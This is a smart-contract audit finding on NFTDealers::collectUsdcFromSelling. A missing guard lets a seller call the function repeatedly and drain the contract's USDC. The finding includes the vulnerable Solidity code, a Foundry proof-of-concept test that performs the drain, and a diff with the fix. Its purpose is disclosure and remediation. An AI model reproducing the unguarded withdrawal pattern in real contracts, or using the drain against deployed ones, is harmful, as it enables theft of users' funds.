Lister can call collectUsdcFromSelling multiple times, stealing money from the NFTDealers contract
Description
After selling a listed NFT, the seller can call NFTDealers::collectUsdcFromSellingto get back their collateral as well as the sales price minus fees. However, nothing stops a malicious user from calling this function multiple times for the same _listingId.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
Impact:
Proof of Concept
The following test illustrates the vulnerability: a malicious seller calls the collectUsdcFromSellingfunction three times for the same _listingID. This function can be called until all usdc is drained from the contract.
function testCanCollectUsdcFromSellingMultipleTimes() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
uint256 fees = nftDealers.calculateFees(nftPrice);
uint256 collateralToReturn = nftDealers.lockAmount();
uint256 amountToSeller = 3 * ((nftPrice + collateralToReturn) - fees);
deal(address(usdc), address(nftDealers), 2 * ((nftPrice + collateralToReturn) - fees));
mintAndListNFTForTesting(tokenId, nftPrice);
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
vm.startPrank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopPrank();
assertEq(usdc.balanceOf(userWithCash), amountToSeller);
assertEq(usdc.balanceOf(address(nftDealers)), fees);
assertEq(nftDealers.totalFeesCollected(), 3 * fees);
}
Recommended Mitigation
To prevent this, a check should be added to collectUsdcFromSellingto prevent duplicate calls for the same listing. This also requires that _listingId be uniquely generated, unlike currently where _listingId is just the nft _tokenId and therefore if an nft is listed multiple times, the previous listings simply get overwritten.
The main changes needed are shown below.
+ enum Status { Inactive, Active, Sold, Cancelled }
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
- bool isActive;
+ Status status;
}
...
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.status == Status.Sold, "Listing must be sold to collect USDC");
+ listing.status = Status.Inactive;
+ s_listings[_listingId] = listing;
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
